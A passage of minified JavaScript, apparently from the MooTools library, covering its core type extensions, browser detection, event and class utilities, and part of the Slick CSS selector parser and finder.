a=Array(b);b--;)a[b]=q(this[b]);return a});var u=function(a,c,h){switch(b(h)){case "object":"object"==b(a[c])?Object.merge(a[c],h):a[c]=Object.clone(h);break;case "array":a[c]=h.clone();break;default:a[c]=h}return a};Object.extend({merge:function(a,c,h){if("string"==b(c))return u(a,c,h);for(var k=1,e=arguments.length;k<e;k++){var d=arguments[k],o;for(o in d)u(a,o,d[o])}return a},clone:function(b){var a={},c;for(c in b)a[c]=q(b[c]);return a},append:function(b){for(var a=1,c=arguments.length;a<c;a++){var h=
arguments[a]||{},k;for(k in h)b[k]=h[k]}return b}});["Object","WhiteSpace","TextNode","Collection","Arguments"].each(function(b){new f(b)});var r=Date.now();String.extend("uniqueID",function(){return(r++).toString(36)})})();
Array.implement({every:function(b,a){for(var c=0,d=this.length>>>0;c<d;c++)if(c in this&&!b.call(a,this[c],c,this))return!1;return!0},filter:function(b,a){for(var c=[],d,e=0,f=this.length>>>0;e<f;e++)e in this&&(d=this[e],b.call(a,d,e,this)&&c.push(d));return c},indexOf:function(b,a){for(var c=this.length>>>0,d=0>a?Math.max(0,c+a):a||0;d<c;d++)if(this[d]===b)return d;return-1},map:function(b,a){for(var c=this.length>>>0,d=Array(c),e=0;e<c;e++)e in this&&(d[e]=b.call(a,this[e],e,this));return d},some:function(b,
a){for(var c=0,d=this.length>>>0;c<d;c++)if(c in this&&b.call(a,this[c],c,this))return!0;return!1},clean:function(){return this.filter(function(b){return null!=b})},invoke:function(b){var a=Array.slice(arguments,1);return this.map(function(c){return c[b].apply(c,a)})},associate:function(b){for(var a={},c=Math.min(this.length,b.length),d=0;d<c;d++)a[b[d]]=this[d];return a},link:function(b){for(var a={},c=0,d=this.length;c<d;c++)for(var e in b)if(b[e](this[c])){a[e]=this[c];delete b[e];break}return a},
contains:function(b,a){return-1!=this.indexOf(b,a)},append:function(b){this.push.apply(this,b);return this},getLast:function(){return this.length?this[this.length-1]:null},getRandom:function(){return this.length?this[Number.random(0,this.length-1)]:null},include:function(b){this.contains(b)||this.push(b);return this},combine:function(b){for(var a=0,c=b.length;a<c;a++)this.include(b[a]);return this},erase:function(b){for(var a=this.length;a--;)this[a]===b&&this.splice(a,1);return this},empty:function(){this.length=
0;return this},flatten:function(){for(var b=[],a=0,c=this.length;a<c;a++){var d=typeOf(this[a]);"null"!=d&&(b=b.concat("array"==d||"collection"==d||"arguments"==d||instanceOf(this[a],Array)?Array.flatten(this[a]):this[a]))}return b},pick:function(){for(var b=0,a=this.length;b<a;b++)if(null!=this[b])return this[b];return null},hexToRgb:function(b){if(3!=this.length)return null;var a=this.map(function(b){1==b.length&&(b+=b);return b.toInt(16)});return b?a:"rgb("+a+")"},rgbToHex:function(b){if(3>this.length)return null;
if(4==this.length&&0==this[3]&&!b)return"transparent";for(var a=[],c=0;3>c;c++){var d=(this[c]-0).toString(16);a.push(1==d.length?"0"+d:d)}return b?a:"#"+a.join("")}});
String.implement({test:function(b,a){return("regexp"==typeOf(b)?b:RegExp(""+b,a)).test(this)},contains:function(b,a){return a?-1<(a+this+a).indexOf(a+b+a):-1<(""+this).indexOf(b)},trim:function(){return(""+this).replace(/^\s+|\s+$/g,"")},clean:function(){return(""+this).replace(/\s+/g," ").trim()},camelCase:function(){return(""+this).replace(/-\D/g,function(b){return b.charAt(1).toUpperCase()})},hyphenate:function(){return(""+this).replace(/[A-Z]/g,function(b){return"-"+b.charAt(0).toLowerCase()})},
capitalize:function(){return(""+this).replace(/\b[a-z]/g,function(b){return b.toUpperCase()})},escapeRegExp:function(){return(""+this).replace(/([-.*+?^${}()|[\]\/\\])/g,"\\$1")},toInt:function(b){return parseInt(this,b||10)},toFloat:function(){return parseFloat(this)},hexToRgb:function(b){var a=(""+this).match(/^#?(\w{1,2})(\w{1,2})(\w{1,2})$/);return a?a.slice(1).hexToRgb(b):null},rgbToHex:function(b){var a=(""+this).match(/\d{1,3}/g);return a?a.rgbToHex(b):null},substitute:function(b,a){return(""+
this).replace(a||/\\?\{([^{}]+)\}/g,function(a,d){return"\\"==a.charAt(0)?a.slice(1):null!=b[d]?b[d]:""})}});Number.implement({limit:function(b,a){return Math.min(a,Math.max(b,this))},round:function(b){b=Math.pow(10,b||0).toFixed(0>b?-b:0);return Math.round(this*b)/b},times:function(b,a){for(var c=0;c<this;c++)b.call(a,c,this)},toFloat:function(){return parseFloat(this)},toInt:function(b){return parseInt(this,b||10)}});Number.alias("each","times");
(function(b){var a={};b.each(function(b){Number[b]||(a[b]=function(){return Math[b].apply(null,[this].concat(Array.from(arguments)))})});Number.implement(a)})("abs,acos,asin,atan,atan2,ceil,cos,exp,floor,log,max,min,pow,sin,sqrt,tan".split(","));Function.extend({attempt:function(){for(var b=0,a=arguments.length;b<a;b++)try{return arguments[b]()}catch(c){}return null}});
Function.implement({attempt:function(b,a){try{return this.apply(a,Array.from(b))}catch(c){}return null},bind:function(b){var a=this,c=1<arguments.length?Array.slice(arguments,1):null,d=function(){},e=function(){var f=b,g=arguments.length;this instanceof e&&(d.prototype=a.prototype,f=new d);g=!c&&!g?a.call(f):a.apply(f,c&&g?c.concat(Array.slice(arguments)):c||arguments);return f==b?g:f};return e},pass:function(b,a){var c=this;null!=b&&(b=Array.from(b));return function(){return c.apply(a,b||arguments)}},
delay:function(b,a,c){return setTimeout(this.pass(null==c?[]:c,a),b)},periodical:function(b,a,c){return setInterval(this.pass(null==c?[]:c,a),b)}});
(function(){var b=Object.prototype.hasOwnProperty;Object.extend({subset:function(b,c){for(var d={},e=0,f=c.length;e<f;e++){var g=c[e];g in b&&(d[g]=b[g])}return d},map:function(a,c,d){var e={},f;for(f in a)b.call(a,f)&&(e[f]=c.call(d,a[f],f,a));return e},filter:function(a,c,d){var e={},f;for(f in a){var g=a[f];b.call(a,f)&&c.call(d,g,f,a)&&(e[f]=g)}return e},every:function(a,c,d){for(var e in a)if(b.call(a,e)&&!c.call(d,a[e],e))return!1;return!0},some:function(a,c,d){for(var e in a)if(b.call(a,e)&&
c.call(d,a[e],e))return!0;return!1},keys:function(a){var c=[],d;for(d in a)b.call(a,d)&&c.push(d);return c},values:function(a){var c=[],d;for(d in a)b.call(a,d)&&c.push(a[d]);return c},getLength:function(b){return Object.keys(b).length},keyOf:function(a,c){for(var d in a)if(b.call(a,d)&&a[d]===c)return d;return null},contains:function(b,c){return null!=Object.keyOf(b,c)},toQueryString:function(b,c){var d=[];Object.each(b,function(b,a){c&&(a=c+"["+a+"]");var g;switch(typeOf(b)){case "object":g=Object.toQueryString(b,
a);break;case "array":var i={};b.each(function(b,a){i[a]=b});g=Object.toQueryString(i,a);break;default:g=a+"="+encodeURIComponent(b)}null!=b&&d.push(g)});return d.join("&")}})})();
(function(){var b=this.document,a=b.window=this,c=navigator.userAgent.toLowerCase(),d=navigator.platform.toLowerCase(),e=c.match(/(opera|ie|firefox|chrome|version)[\s\/:]([\w\d\.]+)?.*?(safari|version[\s\/:]([\w\d\.]+)|$)/)||[null,"unknown",0],f=this.Browser={extend:Function.prototype.extend,name:"version"==e[1]?e[3]:e[1],version:"ie"==e[1]&&b.documentMode||parseFloat("opera"==e[1]&&e[4]?e[4]:e[2]),Platform:{name:c.match(/ip(?:ad|od|hone)/)?"ios":(c.match(/(?:webos|android)/)||d.match(/mac|win|linux/)||
["other"])[0]},Features:{xpath:!!b.evaluate,air:!!a.runtime,query:!!b.querySelector,json:!!a.JSON},Plugins:{}};f[f.name]=!0;f[f.name+parseInt(f.version,10)]=!0;f.Platform[f.Platform.name]=!0;f.Request=function(){var b=function(){return new XMLHttpRequest},a=function(){return new ActiveXObject("MSXML2.XMLHTTP")},c=function(){return new ActiveXObject("Microsoft.XMLHTTP")};return Function.attempt(function(){b();return b},function(){a();return a},function(){c();return c})}();f.Features.xhr=!!f.Request;
c=(Function.attempt(function(){return navigator.plugins["Shockwave Flash"].description},function(){return(new ActiveXObject("ShockwaveFlash.ShockwaveFlash")).GetVariable("$version")})||"0 r0").match(/\d+/g);f.Plugins.Flash={version:Number(c[0]||"0."+c[1])||0,build:Number(c[2])||0};f.exec=function(c){if(!c)return c;if(a.execScript)a.execScript(c);else{var h=b.createElement("script");h.setAttribute("type","text/javascript");h.text=c;b.head.appendChild(h);b.head.removeChild(h)}return c};String.implement("stripScripts",
function(b){var a="",c=this.replace(/<script[^>]*>([\s\S]*?)<\/script>/gi,function(b,c){a+=c+"\n";return""});!0===b?f.exec(a):"function"==typeOf(b)&&b(a,c);return c});f.extend({Document:this.Document,Window:this.Window,Element:this.Element,Event:this.Event});this.Window=this.$constructor=new Type("Window",function(){});this.$family=Function.from("window").hide();Window.mirror(function(b,c){a[b]=c});this.Document=b.$constructor=new Type("Document",function(){});b.$family=Function.from("document").hide();
Document.mirror(function(a,c){b[a]=c});b.html=b.documentElement;b.head||(b.head=b.getElementsByTagName("head")[0]);if(b.execCommand)try{b.execCommand("BackgroundImageCache",!1,!0)}catch(g){}if(this.attachEvent&&!this.addEventListener){var i=function(){this.detachEvent("onunload",i);b.head=b.html=b.window=null};this.attachEvent("onunload",i)}var j=Array.from;try{j(b.html.childNodes)}catch(m){Array.from=function(b){if(typeof b!="string"&&Type.isEnumerable(b)&&typeOf(b)!="array"){for(var a=b.length,
c=Array(a);a--;)c[a]=b[a];return c}return j(b)};var h=Array.prototype,k=h.slice;"pop,push,reverse,shift,sort,splice,unshift,concat,join,slice".split(",").each(function(b){var a=h[b];Array[b]=function(b){return a.apply(Array.from(b),k.call(arguments,1))}})}})();
(function(){var b={},a=this.DOMEvent=new Type("DOMEvent",function(a,d){d||(d=window);a=a||d.event;if(a.$extended)return a;this.event=a;this.$extended=!0;this.shift=a.shiftKey;this.control=a.ctrlKey;this.alt=a.altKey;this.meta=a.metaKey;for(var e=this.type=a.type,f=a.target||a.srcElement;f&&3==f.nodeType;)f=f.parentNode;this.target=document.id(f);if(0==e.indexOf("key")){if(f=this.code=a.which||a.keyCode,this.key=b[f],"keydown"==e&&(111<f&&124>f?this.key="f"+(f-111):95<f&&106>f&&(this.key=f-96)),null==
this.key)this.key=String.fromCharCode(f).toLowerCase()}else if("click"==e||"dblclick"==e||"contextmenu"==e||"DOMMouseScroll"==e||0==e.indexOf("mouse")){f=d.document;f=!f.compatMode||"CSS1Compat"==f.compatMode?f.html:f.body;this.page={x:null!=a.pageX?a.pageX:a.clientX+f.scrollLeft,y:null!=a.pageY?a.pageY:a.clientY+f.scrollTop};this.client={x:null!=a.pageX?a.pageX-d.pageXOffset:a.clientX,y:null!=a.pageY?a.pageY-d.pageYOffset:a.clientY};if("DOMMouseScroll"==e||"mousewheel"==e)this.wheel=a.wheelDelta?
a.wheelDelta/120:-(a.detail||0)/3;this.rightClick=3==a.which||2==a.button;if("mouseover"==e||"mouseout"==e){for(e=a.relatedTarget||a[("mouseover"==e?"from":"to")+"Element"];e&&3==e.nodeType;)e=e.parentNode;this.relatedTarget=document.id(e)}}else if(0==e.indexOf("touch")||0==e.indexOf("gesture"))if(this.rotation=a.rotation,this.scale=a.scale,this.targetTouches=a.targetTouches,this.changedTouches=a.changedTouches,(e=this.touches=a.touches)&&e[0])e=e[0],this.page={x:e.pageX,y:e.pageY},this.client={x:e.clientX,
y:e.clientY};this.client||(this.client={});this.page||(this.page={})});a.implement({stop:function(){return this.preventDefault().stopPropagation()},stopPropagation:function(){this.event.stopPropagation?this.event.stopPropagation():this.event.cancelBubble=!0;return this},preventDefault:function(){this.event.preventDefault?this.event.preventDefault():this.event.returnValue=!1;return this}});a.defineKey=function(a,d){b[a]=d;return this};a.defineKeys=a.defineKey.overloadSetter(!0);a.defineKeys({38:"up",
40:"down",37:"left",39:"right",27:"esc",32:"space",8:"backspace",9:"tab",46:"delete",13:"enter"})})();
(function(){var b=this.Class=new Type("Class",function(e){instanceOf(e,Function)&&(e={initialize:e});var d=function(){c(this);if(d.$prototyping)return this;this.$caller=null;var a=this.initialize?this.initialize.apply(this,arguments):this;this.$caller=this.caller=null;return a}.extend(this).implement(e);d.$constructor=b;d.prototype.$constructor=d;d.prototype.parent=a;return d}),a=function(){if(!this.$caller)throw Error('The method "parent" cannot be called.');var a=this.$caller.$name,b=this.$caller.$owner.parent,
b=b?b.prototype[a]:null;if(!b)throw Error('The method "'+a+'" has no parent.');return b.apply(this,arguments)},c=function(a){for(var b in a){var e=a[b];switch(typeOf(e)){case "object":var d=function(){};d.prototype=e;a[b]=c(new d);break;case "array":a[b]=e.clone()}}return a},d=function(a,b,c){c.$origin&&(c=c.$origin);var e=function(){if(c.$protected&&this.$caller==null)throw Error('The method "'+b+'" cannot be called.');var a=this.caller,h=this.$caller;this.caller=h;this.$caller=e;var k=c.apply(this,
arguments);this.$caller=h;this.caller=a;return k}.extend({$owner:a,$origin:c,$name:b});return e},e=function(a,c,e){if(b.Mutators.hasOwnProperty(a)&&(c=b.Mutators[a].call(this,c),null==c))return this;if("function"==typeOf(c)){if(c.$hidden)return this;this.prototype[a]=e?c:d(this,a,c)}else Object.merge(this.prototype,a,c);return this};b.implement("implement",e.overloadSetter());b.Mutators={Extends:function(a){this.parent=a;a.$prototyping=!0;var b=new a;delete a.$prototyping;this.prototype=b},Implements:function(a){Array.from(a).each(function(a){var a=
new a,b;for(b in a)e.call(this,b,a[b],!0)},this)}}})();
(function(){this.Chain=new Class({$chain:[],chain:function(){this.$chain.append(Array.flatten(arguments));return this},callChain:function(){return this.$chain.length?this.$chain.shift().apply(this,arguments):!1},clearChain:function(){this.$chain.empty();return this}});var b=function(a){return a.replace(/^on([A-Z])/,function(a,b){return b.toLowerCase()})};this.Events=new Class({$events:{},addEvent:function(a,c,d){a=b(a);this.$events[a]=(this.$events[a]||[]).include(c);d&&(c.internal=!0);return this},
addEvents:function(a){for(var b in a)this.addEvent(b,a[b]);return this},fireEvent:function(a,c,d){a=b(a);a=this.$events[a];if(!a)return this;c=Array.from(c);a.each(function(a){d?a.delay(d,this,c):a.apply(this,c)},this);return this},removeEvent:function(a,c){var a=b(a),d=this.$events[a];if(d&&!c.internal){var e=d.indexOf(c);-1!=e&&delete d[e]}return this},removeEvents:function(a){var c;if("object"==typeOf(a)){for(c in a)this.removeEvent(c,a[c]);return this}a&&(a=b(a));for(c in this.$events)if(!(a&&
a!=c))for(var d=this.$events[c],e=d.length;e--;)e in d&&this.removeEvent(c,d[e]);return this}});this.Options=new Class({setOptions:function(){var a=this.options=Object.merge.apply(null,[{},this.options].append(arguments));if(this.addEvent)for(var b in a)"function"==typeOf(a[b])&&/^on[A-Z]/.test(b)&&(this.addEvent(b,a[b]),delete a[b]);return this}})})();
(function(){function b(b,h,o,l,f,q,j,g,x,F,t,B,A,D,v,z){if(h||-1===c)if(a.expressions[++c]=[],d=-1,h)return"";if(o||l||-1===d)o=o||" ",b=a.expressions[c],e&&b[d]&&(b[d].reverseCombinator=m(o)),b[++d]={combinator:o,tag:"*"};o=a.expressions[c][d];if(f)o.tag=f.replace(i,"");else if(q)o.id=q.replace(i,"");else if(j)j=j.replace(i,""),o.classList||(o.classList=[]),o.classes||(o.classes=[]),o.classList.push(j),o.classes.push({value:j,regexp:RegExp("(^|\\s)"+k(j)+"(\\s|$)")});else if(A)z=(z=z||v)?z.replace(i,
""):null,o.pseudos||(o.pseudos=[]),o.pseudos.push({key:A.replace(i,""),value:z,type:1==B.length?"class":"element"});else if(g){var g=g.replace(i,""),t=(t||"").replace(i,""),y,E;switch(x){case "^=":E=RegExp("^"+k(t));break;case "$=":E=RegExp(k(t)+"$");break;case "~=":E=RegExp("(^|\\s)"+k(t)+"(\\s|$)");break;case "|=":E=RegExp("^"+k(t)+"(-|$)");break;case "=":y=function(a){return t==a};break;case "*=":y=function(a){return a&&-1<a.indexOf(t)};break;case "!=":y=function(a){return t!=a};break;default:y=
function(a){return!!a}}""==t&&/^[*$^]=$/.test(x)&&(y=function(){return!1});y||(y=function(a){return a&&E.test(a)});o.attributes||(o.attributes=[]);o.attributes.push({key:g,operator:x,value:t,test:y})}return""}var a,c,d,e,f={},g={},i=/\\/g,j=function(k,d){if(null==k)return null;if(!0===k.Slick)return k;var k=(""+k).replace(/^\s+|\s+$/g,""),q=(e=!!d)?g:f;if(q[k])return q[k];a={Slick:!0,expressions:[],raw:k,reverse:function(){return j(this.raw,!0)}};for(c=-1;k!=(k=k.replace(o,b)););a.length=a.expressions.length;
return q[a.raw]=e?h(a):a},m=function(a){return"!"===a?" ":" "===a?"!":/^!/.test(a)?a.replace(/^!/,""):"!"+a},h=function(a){for(var b=a.expressions,c=0;c<b.length;c++){for(var h=b[c],k={parts:[],tag:"*",combinator:m(h[0].combinator)},e=0;e<h.length;e++){var d=h[e];d.reverseCombinator||(d.reverseCombinator=" ");d.combinator=d.reverseCombinator;delete d.reverseCombinator}h.reverse().push(k)}return a},k=function(a){return a.replace(/[-[\]{}()*+?.\\^$|,#\s]/g,function(a){return"\\"+a})},o=RegExp("^(?:\\s*(,)\\s*|\\s*(<combinator>+)\\s*|(\\s+)|(<unicode>+|\\*)|\\#(<unicode>+)|\\.(<unicode>+)|\\[\\s*(<unicode1>+)(?:\\s*([*^$!~|]?=)(?:\\s*(?:([\"']?)(.*?)\\9)))?\\s*\\](?!\\])|(:+)(<unicode>+)(?:\\((?:(?:([\"'])([^\\13]*)\\13)|((?:\\([^)]+\\)|[^()]*)+))\\))?)".replace(/<combinator>/,
"["+k(">+~`!@$%^&={}\\;</")+"]").replace(/<unicode>/g,"(?:[\\w\\u00a1-\\uFFFF-]|\\\\[^\\s0-9a-f])").replace(/<unicode1>/g,"(?:[:\\w\\u00a1-\\uFFFF-]|\\\\[^\\s0-9a-f])")),q=this.Slick||{};q.parse=function(a){return j(a)};q.escapeRegExp=k;this.Slick||(this.Slick=q)}).apply("undefined"!=typeof exports?exports:this);
(function(){var b={},a={},c=Object.prototype.toString;b.isNativeCode=function(a){return/\{\s*\[native code\]\s*\}/.test(""+a)};b.isXML=function(a){return!!a.xmlVersion||!!a.xml||"[object XMLDocument]"==c.call(a)||9==a.nodeType&&"HTML"!=a.documentElement.nodeName};b.setDocument=function(b){var c=b.nodeType;if(9!=c)if(c)b=b.ownerDocument;else if(b.navigator)b=b.document;else return;if(this.document!==b){this.document=b;var c=b.documentElement,e=this.getUIDXML(c),d=a[e],f;if(!d){d=a[e]={};d.root=c;d.isXMLDocument=
this.isXML(b);d.brokenStarGEBTN=d.starSelectsClosedQSA=d.idGetsName=d.brokenMixedCaseQSA=d.brokenGEBCN=d.brokenCheckedQSA=d.brokenEmptyAttributeQSA=d.isHTMLDocument=d.nativeMatchesSelector=!1;var j,m,l,s,g,n=b.createElement("div"),i=b.body||b.getElementsByTagName("body")[0]||c;i.appendChild(n);try{n.innerHTML='<a id="slick_uniqueid"></a>',d.isHTMLDocument=!!b.getElementById("slick_uniqueid")}catch(x){}if(d.isHTMLDocument){n.style.display="none";n.appendChild(b.createComment(""));e=1<n.getElementsByTagName("*").length;
try{n.innerHTML="foo</foo>",j=(g=n.getElementsByTagName("*"))&&!!g.length&&"/"==g[0].nodeName.charAt(0)}catch(F){}d.brokenStarGEBTN=e||j;try{n.innerHTML='<a name="slick_uniqueid"></a><b id="slick_uniqueid"></b>',d.idGetsName=b.getElementById("slick_uniqueid")===n.firstChild}catch(t){}if(n.getElementsByClassName){try{n.innerHTML='<a class="f"></a><a class="b"></a>',n.getElementsByClassName("b").length,n.firstChild.className="b",l=2!=n.getElementsByClassName("b").length}catch(B){}try{n.innerHTML='<a class="a"></a><a class="f b a"></a>',
m=2!=n.getElementsByClassName("a").length}catch(A){}d.brokenGEBCN=l||m}if(n.querySelectorAll){try{n.innerHTML="foo</foo>",g=n.querySelectorAll("*"),d.starSelectsClosedQSA=g&&!!g.length&&"/"==g[0].nodeName.charAt(0)}catch(D){}try{n.innerHTML='<a class="MiX"></a>',d.brokenMixedCaseQSA=!n.querySelectorAll(".MiX").length}catch(v){}try{n.innerHTML='<select><option selected="selected">a</option></select>',d.brokenCheckedQSA=0==n.querySelectorAll(":checked").length}catch(z){}try{n.innerHTML='<a class=""></a>',
d.brokenEmptyAttributeQSA=0!=n.querySelectorAll('[class*=""]').length}catch(y){}}try{n.innerHTML='<form action="s"><input id="action"/></form>',s="s"!=n.firstChild.getAttribute("action")}catch(E){}d.nativeMatchesSelector=c.matchesSelector||c.mozMatchesSelector||c.webkitMatchesSelector;if(d.nativeMatchesSelector)try{d.nativeMatchesSelector.call(c,":slick"),d.nativeMatchesSelector=null}catch(G){}}try{c.slick_expando=1,delete c.slick_expando,d.getUID=this.getUIDHTML}catch(H){d.getUID=this.getUIDXML}i.removeChild(n);
n=g=i=null;d.getAttribute=d.isHTMLDocument&&s?function(a,b){var c=this.attributeGetters[b];return c?c.call(a):(c=a.getAttributeNode(b))?c.nodeValue:null}:function(a,b){var c=this.attributeGetters[b];return c?c.call(a):a.getAttribute(b)};d.hasAttribute=c&&this.isNativeCode(c.hasAttribute)?function(a,b){return a.hasAttribute(b)}:function(a,b){a=a.getAttributeNode(b);return!(!a||!a.specified&&!a.nodeValue)};j=c&&this.isNativeCode(c.contains);m=b&&this.isNativeCode(b.contains);d.contains=j&&m?function(a,
b){return a.contains(b)}:j&&!m?function(a,c){return a===c||(a===b?b.documentElement:a).contains(c)}:c&&c.compareDocumentPosition?function(a,b){return a===b||!!(a.compareDocumentPosition(b)&16)}:function(a,b){if(b){do if(b===a)return!0;while(b=b.parentNode)}return!1};d.documentSorter=c.compareDocumentPosition?function(a,b){return!a.compareDocumentPosition||!b.compareDocumentPosition?0:a.compareDocumentPosition(b)&4?-1:a===b?0:1}:"sourceIndex"in c?function(a,b){return!a.sourceIndex||!b.sourceIndex?
0:a.sourceIndex-b.sourceIndex}:b.createRange?function(a,b){if(!a.ownerDocument||!b.ownerDocument)return 0;var c=a.ownerDocument.createRange(),h=b.ownerDocument.createRange();c.setStart(a,0);c.setEnd(a,0);h.setStart(b,0);h.setEnd(b,0);return c.compareBoundaryPoints(Range.START_TO_END,h)}:null;c=null}for(f in d)this[f]=d[f]}};var d=/^([#.]?)((?:[\w-]+|\*))$/,e=/\[.+[*$^]=(?:""|'')?\]/,f={};b.search=function(a,b,c,j){var g=this.found=j?null:c||[];if(a)if(a.navigator)a=a.document;else{if(!a.nodeType)return g}else return g;
var r,i,l=this.uniques={},c=!(!c||!c.length),s=9==a.nodeType;this.document!==(s?a:a.ownerDocument)&&this.setDocument(a);if(c)for(i=g.length;i--;)l[this.getUID(g[i])]=!0;if("string"==typeof b){var p=b.match(d);a:if(p){i=p[1];var n=p[2];if(i)if("#"==i){if(!this.isHTMLDocument||!s)break a;p=a.getElementById(n);if(!p)return g;if(this.idGetsName&&p.getAttributeNode("id").nodeValue!=n)break a;if(j)return p||null;(!c||!l[this.getUID(p)])&&g.push(p)}else{if("."==i){if(!this.isHTMLDocument||(!a.getElementsByClassName||
this.brokenGEBCN)&&a.querySelectorAll)break a;if(a.getElementsByClassName&&!this.brokenGEBCN){r=a.getElementsByClassName(n);if(j)return r[0]||null;for(i=0;p=r[i++];)(!c||!l[this.getUID(p)])&&g.push(p)}else{var C=RegExp("(^|\\s)"+m.escapeRegExp(n)+"(\\s|$)");r=a.getElementsByTagName("*");for(i=0;p=r[i++];)if((className=p.className)&&C.test(className)){if(j)return p;(!c||!l[this.getUID(p)])&&g.push(p)}}}}else{if("*"==n&&this.brokenStarGEBTN)break a;r=a.getElementsByTagName(n);if(j)return r[0]||null;
for(i=0;p=r[i++];)(!c||!l[this.getUID(p)])&&g.push(p)}c&&this.sort(g);return j?null:g}a:if(a.querySelectorAll&&this.isHTMLDocument&&!f[b]&&!this.brokenMixedCaseQSA&&!(this.brokenCheckedQSA&&-1<b.indexOf(":checked")||this.brokenEmptyAttributeQSA&&e.test(b)||!s&&-1<b.indexOf(",")||m.disableQSA)){i=b;p=a;if(!s){var x=p.getAttribute("id");p.setAttribute("id","slickid__");i="#slickid__ "+i;a=p.parentNode}try{if(j)return a.querySelector(i)||null;r=a.querySelectorAll(i)}catch(F){f[b]=1;break a}finally{s||
(x?p.setAttribute("id",x):p.removeAttribute("id"),a=p)}if(this.starSelectsClosedQSA)for(i=0;p=r[i++];)"@"<p.nodeName&&(!c||!l[this.getUID(p)])&&g.push(p);else for(i=0;p=r[i++];)(!c||!l[this.getUID(p)])&&g.push(p);c&&this.sort(g);return g}r=this.Slick.parse(b);if(!r.length)return g}else{if(null==b)return g;if(b.Slick)r=b;else{if(this.contains(a.documentElement||a,b))g?g.push(b):g=b;return g}}this.posNTH={};this.posNTHLast={};this.posNTHType={};this.posNTHTypeLast={};this.push=!c&&(j||1==r.length&&
1==r.expressions[0].length)?this.pushArray:this.pushUID;null==g&&(g=[]);var t,B,A,D,v,z,y=r.expressions;i=0;a:for(;z=y[i];i++)for(b=0;v=z[b];b++){x="combinator:"+v.combinator;if(!this[x])continue a;s=this.isXMLDocument?v.tag:v.tag.toUpperCase();p=v.id;n=v.classList;A=v.classes;D=v.attributes;v=v.pseudos;t=b===z.length-1;this.bitUniques={};t?(this.uniques=l,this.found=g):(this.uniques={},this.found=[]);if(0===b){if(this[x](a,s,p,A,D,v,n),j&&t&&g.length)break a}else if(j&&t){t=0;for(B=C.length;t<B;t++)if(this[x](C[t],
s,p,A,D,v,n),g.length)break a}else{t=0;for(B=C.length;t<B;t++)this[x](C[t],s,p,A,D,v,n)}C=this.found}(c||1<r.expressions.length)&&this.sort(g);return j?g[0]||null:g};b.uidx=1;b.uidk="slick-uniqueid";b.getUIDXML=function(a){var b=a.getAttribute(this.uidk);b||(b=this.uidx++,a.setAttribute(this.uidk,b));return b};b.getUIDHTML=function(a){return a.uniqueNumber||(a.uniqueNumber=this.uidx++)};b.sort=function(a){if(!this.documentSorter)return a;a.sort(this.documentSorter);return a};b.cacheNTH={};b.matchNTH=
/^([+-]?\d*)?([a-z]+)?([+-]\d+)?$/;b.parseNTHArgument=function(a){var b=a.match(this.matchNTH);if(!b)return!1;var c=b[2]||!1,d=b[1]||1;"-"==d&&(d=-1);b=+b[3]||0;b="n"==c?{a:d,b:b}:"odd"==c?{a:2,b:1}:"even"==c?{a:2,b:0}:{a:0,b:d};return this.cacheNTH[a]=b};b.createNTHPseudo=function(a,b,c,d){return function(e,f){var g=this.getUID(e);if(!this[c][g]){var l=e.parentNode;if(!l)return!1;var l=l[a],s=1;if(d){var j=e.nodeName;do l.nodeName==j&&(this[c][this.getUID(l)]=s++);while(l=l[b])}else{do 1==l.nodeType&&
(this[c][this.getUID(l)]=s++);while(l=l[b])}}f=f||"n";s=this.cacheNTH[f]||this.parseNTHArgument(f);if(!s)return!1;l=s.a;s=s.b;g=this[c][g];if(0==l)return s==g;if(0<l){if(g<s)return!1}else if(s<g)return!1;return 0==(g-s)%l}};b.pushArray=function(a,b,c,d,e,f){this.matchSelector(a,b,c,d,e,f)&&this.found.push(a)};b.pushUID=function(a,b,c,d,e,f){var g=this.getUID(a);!this.uniques[g]&&this.matchSelector(a,b,c,d,e,f)&&(this.uniques[g]=!0,this.found.push(a))};b.matchNode=function(a,b){if(this.isHTMLDocument&&
this.nativeMatchesSelector)try{return this.nativeMatchesSelector.call(a,b.replace(/\[([^=]+)=\s*([^'"\]]+?)\s*\]/g,'[$1="$2"]'))}catch(c){}var d=this.Slick.parse(b);if(!d)return!0;var e=d.expressions,f=0,g;for(g=0;currentExpression=e[g];g++)if(1==currentExpression.length){var l=currentExpression[0];if(this.matchSelector(a,this.isXMLDocument?l.tag:l.tag.toUpperCase(),l.id,l.classes,l.attributes,l.pseudos))return!0;f++}if(f==d.length)return!1;d=this.search(this.document,d);for(g=0;e=d[g++];)if(e===
a)return!0;return!1};b.matchPseudo=function(a,b,c){var d="pseudo:"+b;if(this[d])return this[d](a,c);a=this.getAttribute(a,b);return c?c==a:!!a};b.matchSelector=function(a,b,c,d,e,f){if(b){var g=this.isXMLDocument?a.nodeName:a.nodeName.toUpperCase();if("*"==b){if("@">g)return!1}else if(g!=b)return!1}if(c&&a.getAttribute("id")!=c)return!1;if(d)for(b=d.length;b--;)if(c=this.getAttribute(a,"class"),!c||!d[b].regexp.test(c))return!1;if(e)for(b=e.length;b--;)if(d=e[b],d.operator?!d.test(this.getAttribute(a,
d.key)):!this.hasAttribute(a,d.key))return!1;if(f)for(b=f.length;b--;)if(d=f[b],!this.matchPseudo(a,d.key,d.value))return!1;return!0};var g={" ":function(a,b,c,d,e,f,g){var l;if(this.isHTMLDocument){if(c){l=this.document.getElementById(c);if(!l&&a.all||this.idGetsName&&l&&l.getAttributeNode("id").nodeValue!=c){g=a.all[c];if(!g)return;g[0]||(g=[g]);for(a=0;l=g[a++];){var s=l.getAttributeNode("id");if(s&&s.nodeValue==c){this.push(l,b,null,d,e,f);break}}return}if(l){if(this.document!==a&&!this.contains(a,
l))return;this.push(l,b,null,d,e,f);return}if(this.contains(this.root,a))return}if(d&&a.getElementsByClassName&&!this.brokenGEBCN&&(g=a.getElementsByClassName(g.join(" ")))&&g.length){for(a=0;l=g[a++];)this.push(l,b,c,null,e,f);return}}if((g=a.getElementsByTagName(b))&&g.length){this.brokenStarGEBTN||(b=null);for(a=0;l=g[a++];)this.push(l,b,c,d,e,f)}},">":function(a,b,c,d,e,f){if(a=a.firstChild){do 1==a.nodeType&&this.push(a,b,c,d,e,f);while(a=a.nextSibling)}},"+":function(a,b,c,d,e,f){for(;a=a.nextSibling;)if(1==
